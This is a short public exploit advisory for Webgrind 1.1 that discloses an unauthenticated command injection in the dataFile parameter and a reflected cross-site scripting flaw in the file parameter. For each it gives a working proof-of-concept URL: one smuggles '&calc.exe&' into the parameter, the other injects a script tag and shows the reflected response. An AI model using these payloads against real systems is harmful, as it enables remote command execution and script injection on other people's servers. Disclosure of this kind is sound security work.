Webgrind 1.1 – Reflected Cross-Site Scripting (XSS) & Remote Command Execution (RCE)
# Exploit Title: Webgrind 1.1 - Reflected Cross-Site Scripting (XSS) & Remote Command Execution (RCE) # Discovery by: Rafael Pedrero # Discovery Date: 2022-02-13 # Vendor Homepage: http://github.com/jokkedk/webgrind/ # Software Link : http://github.com/jokkedk/webgrind/ # Tested Version: 1.1 # Tested on: Windows 10 using XAMPP # Vulnerability Type: Remote Command Execution (RCE) CVSS v3: 9.8 CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE: CWE-434 Vulnerability description: Remote Command Execution (RCE) vulnerability in Webgrind <= 1.1 allow remote unauthenticated attackers to inject OS commands via /<webgrind_path_directory>/index.php in dataFile parameter. Proof of concept: http://localhost/tools/webgrind/index.php?dataFile=0%27%26calc.exe%26%27&showFraction=0.9&op=function_graph And the calc.exe opens. Note: 0'&calc.exe&', & char is neccesary to execute the command. # Vulnerability Type: reflected Cross-Site Scripting (XSS) CVSS v3: 6.5 CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CWE: CWE-79 Vulnerability description: Webgrind v1.1 and before, does not sufficiently encode user-controlled inputs, resulting in a reflected Cross-Site Scripting (XSS) vulnerability via the /<webgrind_path_directory>/index.php, in file parameter. Proof of concept: http://localhost/webgrind/index.php?op=fileviewer&file=%3C%2Ftitle%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ctitle%3E Response: ... <title> webgrind - fileviewer: </title><script>alert(1);</script><title> </title> <script type="text/javascript" charset="utf-8"> |